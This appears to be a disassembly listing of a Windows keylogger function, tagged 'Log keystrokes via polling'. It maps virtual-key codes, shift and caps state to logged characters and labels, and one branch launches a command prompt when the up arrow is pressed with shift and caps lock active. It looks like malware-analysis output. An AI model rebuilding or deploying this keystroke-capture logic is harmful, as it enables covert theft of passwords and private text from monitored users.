Function at 0x140001779
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x410], ecx
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
shr ax, 0xf
mov byte [rbp + 0x3ee], al
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
cwde
and eax, 1
test eax, eax
setne al
mov byte [rbp + 0x3ed], al
mov eax, dword [rbp + 0x410]
mov byte [rbp + 0x3ef], al
cmp dword [rbp + 0x410], 0x20
jne 0x140001829
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp - 0x31]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, [0x1400b1029]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x60]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0xd
jne 0x140001881
lea rax, [rbp - 1]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp - 1]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str._enter_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp - 0x30]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 1]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0xa1
jne 0x1400018d9
lea rax, [rbp + 0x2f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x2f]
mov rax, rbp
mov r8, rdx
lea rdx, str._r_shift_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
mov rax, rbp
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
mov rax, rbp
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0xa0
jne 0x140001934
lea rax, [rbp + 0x5f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x5f]
lea rax, [rbp + 0x30]
mov r8, rdx
lea rdx, str._l_shift_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x30]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x5f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 8
jne 0x140001995
lea rax, [rbp + 0x8f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x8f]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str._back_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x60]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 2
jne 0x1400019ff
lea rax, [rbp + 0xbf]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0xbf]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str._r_click_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x90]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xbf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 1
jne 0x140001a69
lea rax, [rbp + 0xef]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0xef]
lea rax, [rbp + 0xc0]
mov r8, rdx
lea rdx, str._l_click_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xc0]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xef]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0x14
jne 0x140001ad3
lea rax, [rbp + 0x11f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x11f]
lea rax, [rbp + 0xf0]
mov r8, rdx
lea rdx, str._caps_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xf0]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x11f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 9
jne 0x140001b3d
lea rax, [rbp + 0x14f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x14f]
lea rax, [rbp + 0x120]
mov r8, rdx
lea rdx, str._tab_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x120]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x14f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0x26
jne 0x140001c7d
lea rax, [rbp + 0x17f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x17f]
lea rax, [rbp + 0x150]
mov r8, rdx
lea rdx, str._up_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x150]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x17f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp byte [rbp + 0x3ed], 0
je 0x140002426
cmp byte [rbp + 0x3ee], 0
je 0x140002426
lea rax, [rbp + 0x1af]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x1af]
lea rax, [rbp + 0x180]
mov r8, rdx
lea rdx, str._command_line_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x180]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1af]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1df]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x1df]
lea rax, [rbp + 0x1b0]
mov r8, rdx
lea rdx, str.C:WindowsSystem32cmd.exe__c_start_cmd.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x1b0]
mov rcx, rax
call dbg.run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1df]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0x28
jne 0x140001ce7
lea rax, [rbp + 0x20f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x20f]
lea rax, [rbp + 0x1e0]
mov r8, rdx
lea rdx, str._down_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x1e0]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x20f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0x25
jne 0x140001d51
lea rax, [rbp + 0x23f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x23f]
lea rax, [rbp + 0x210]
mov r8, rdx
lea rdx, str._left_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x210]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x23f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0x27
jne 0x140001dbb
lea rax, [rbp + 0x26f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x26f]
lea rax, [rbp + 0x240]
mov r8, rdx
lea rdx, str._right_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x240]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x240]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x26f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0xa3
jne 0x140001e28
lea rax, [rbp + 0x29f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x29f]
lea rax, [rbp + 0x270]
mov r8, rdx
lea rdx, str._r_control_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x270]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x29f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0xa2
jne 0x140001e95
lea rax, [rbp + 0x2cf]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x2cf]
lea rax, [rbp + 0x2a0]
mov r8, rdx
lea rdx, str._l_control_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x2a0]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x2a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2cf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0xa4
jne 0x140001f02
lea rax, [rbp + 0x2ff]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x2ff]
lea rax, [rbp + 0x2d0]
mov r8, rdx
lea rdx, str._l_alt_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x2d0]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x2d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0xa5
jne 0x140001f6f
lea rax, [rbp + 0x32f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x32f]
lea rax, [rbp + 0x300]
mov r8, rdx
lea rdx, str._r_alt_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x300]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x300]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x32f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0x2e
jne 0x140001fd9
lea rax, [rbp + 0x35f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x35f]
lea rax, [rbp + 0x330]
mov r8, rdx
lea rdx, str._del_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x330]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x35f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0x5b
jne 0x140002043
lea rax, [rbp + 0x38f]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x38f]
lea rax, [rbp + 0x360]
mov r8, rdx
lea rdx, str._l_win_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x360]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x38f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp dword [rbp + 0x410], 0x5c
jne 0x1400020ad
lea rax, [rbp + 0x3bf]
mov rcx, rax
call fcn.140062d20
lea rdx, [rbp + 0x3bf]
lea rax, [rbp + 0x390]
mov r8, rdx
lea rdx, str._r_win_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0x390]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x390]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3bf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002426
cmp byte [rbp + 0x3ee], 0
je 0x140002298
cmp byte [rbp + 0x3ef], 0x31
jne 0x1400020cf
mov byte [rbp + 0x3ef], 0x21
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x32
jne 0x1400020e4
mov byte [rbp + 0x3ef], 0x40
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x33
jne 0x1400020f9
mov byte [rbp + 0x3ef], 0x23
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x34
jne 0x14000210e
mov byte [rbp + 0x3ef], 0x24
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x35
jne 0x140002123
mov byte [rbp + 0x3ef], 0x25
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x36
jne 0x140002138
mov byte [rbp + 0x3ef], 0x5e
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x37
jne 0x14000214d
mov byte [rbp + 0x3ef], 0x26
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x38
jne 0x140002162
mov byte [rbp + 0x3ef], 0x2a
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x39
jne 0x140002177
mov byte [rbp + 0x3ef], 0x28
jmp 0x140002389
cmp byte [rbp + 0x3ef], 0x30
jne 0x14000218c
mov byte [rbp + 0x3ef], 0x29
jmp 0x140002389
cmp dword [rbp + 0x410], 0xba
jne 0x1400021a4
mov byte [rbp + 0x3ef], 0x3a
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbb
jne 0x1400021bc
mov byte [rbp + 0x3ef], 0x2b
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbc
jne 0x1400021d4
mov byte [rbp + 0x3ef], 0x3c
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbd
jne 0x1400021ec
mov byte [rbp + 0x3ef], 0x5f
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbe
jne 0x140002204
mov byte [rbp + 0x3ef], 0x3e
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbf
jne 0x14000221c
mov byte [rbp + 0x3ef], 0x3f
jmp 0x140002389
cmp dword [rbp + 0x410], 0xc0
jne 0x140002234
mov byte [rbp + 0x3ef], 0x7e
jmp 0x140002389
cmp dword [rbp + 0x410], 0xdb
jne 0x14000224c
mov byte [rbp + 0x3ef], 0x7b
jmp 0x140002389
cmp dword [rbp + 0x410], 0xdc
jne 0x140002264
mov byte [rbp + 0x3ef], 0x7c
jmp 0x140002389
cmp dword [rbp + 0x410], 0xdd
jne 0x14000227c
mov byte [rbp + 0x3ef], 0x7d
jmp 0x140002389
cmp dword [rbp + 0x410], 0xdd
jne 0x140002389
mov byte [rbp + 0x3ef], 0x22
jmp 0x140002389
cmp dword [rbp + 0x410], 0xba
jne 0x1400022b0
mov byte [rbp + 0x3ef], 0x3b
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbb
jne 0x1400022c8
mov byte [rbp + 0x3ef], 0x3d
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbc
jne 0x1400022e0
mov byte [rbp + 0x3ef], 0x2c
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbd
jne 0x1400022f8
mov byte [rbp + 0x3ef], 0x2d
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbe
jne 0x14000230d
mov byte [rbp + 0x3ef], 0x2e
jmp 0x140002389
cmp dword [rbp + 0x410], 0xbf
jne 0x140002322
mov byte [rbp + 0x3ef], 0x2f
jmp 0x140002389
cmp dword [rbp + 0x410], 0xc0
jne 0x140002337
mov byte [rbp + 0x3ef], 0x60
jmp 0x140002389
cmp dword [rbp + 0x410], 0xdb
jne 0x14000234c
mov byte [rbp + 0x3ef], 0x5b
jmp 0x140002389
cmp dword [rbp + 0x410], 0xdc
jne 0x140002361
mov byte [rbp + 0x3ef], 0x5c
jmp 0x140002389
cmp dword [rbp + 0x410], 0xdd
jne 0x140002376
mov byte [rbp + 0x3ef], 0x5d
jmp 0x140002389
cmp dword [rbp + 0x410], 0xdd
jne 0x140002389
mov byte [rbp + 0x3ef], 0x27
movzx eax, byte [rbp + 0x3ee]
cmp al, byte [rbp + 0x3ed]
jne 0x1400023b0
movsx eax, byte [rbp + 0x3ef]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll_tolower]
call rax
mov byte [rbp + 0x3ef], al
cmp byte [rbp + 0x3ef], 0x1f
jle 0x140002426
cmp byte [rbp + 0x3ef], 0x7f
je 0x140002426
lea rax, [rbp + 0x3ec]
mov rcx, rax
call fcn.140062d20
movsx edx, byte [rbp + 0x3ef]
lea rcx, [rbp + 0x3ec]
lea rax, [rbp + 0x3c0]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp + 0x3c0]
mov rcx, rax
call dbg.log(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3ec]
mov rcx, rax
call sym.std::allocator_char_::allocator__
jmp 0x140002876
add rsp, 0x478
pop rbx
pop rbp
ret